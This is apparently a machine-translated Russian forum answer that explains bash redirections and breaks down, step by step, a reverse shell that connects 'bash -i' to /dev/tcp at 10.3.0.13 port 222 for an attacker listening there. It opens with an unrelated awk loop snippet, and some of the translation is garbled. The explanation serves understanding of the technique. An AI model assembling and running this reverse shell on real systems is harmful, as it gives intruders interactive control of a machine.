попробуйте так for d in words/*; do for f in ./words/$d/*{0..9}.txt; do awk -f script.awk $f; done
&> file
сам по себе такой же, как > file 2>&1
, то есть открыт file
в режиме записи -только для файлового дескриптора 1 и дублирует этот файловый дескриптор 1 в файловый дескриптор 2, так что оба fd 1 и 2 (stdout и stderr )указывают на это описание открытого файла
0>&1
(то же, что и 0<&1
или <&1
), добавляет в список 0 (stdin ). Он также дублирует fd 1 в 0 (fd 0 делается так, чтобы он указывал на тот же ресурс, на который указывает fd 1 ).
Теперь при выполнении > /dev/tcp/host/port
в bash
(, как и в ksh, где функция происходит из ), вместо выполнения open(file, O_WRONLY)
bash
создает TCP-сокет и подключает его к host:port
. Это не запись -только перенаправление, это сетевой сокет чтения + записи.
Таким образом, вы получаете fds 0, 1 и 2 из bash -i
, являющиеся сокетом TCP. Когда bash -i
читает на своем стандартном вводе, он читает из сокета, поэтому из того, что находится на другом конце host:post
, и когда (или любая запущенная оттуда команда )записывает в fd 1 или 2, это отправлено через этот сокет.
Давайте пошагово.
bash -i
:открывает интерактивную оболочку &>
:перенаправляет стандартный вывод и ошибку на сокет, открытый на IP 10.3.0.13, который будет прослушивать порт 222 0>&1
:Мне нравится читать как 0<&1. Это буквально означает, что «0» присоединен к «1», что означает, что стандартный ввод подключен к стандартному выходу, а из пункта 2 мы знаем, что стандартный ввод для этого процесса bash доступен злоумышленнику, прослушивающему порт 222.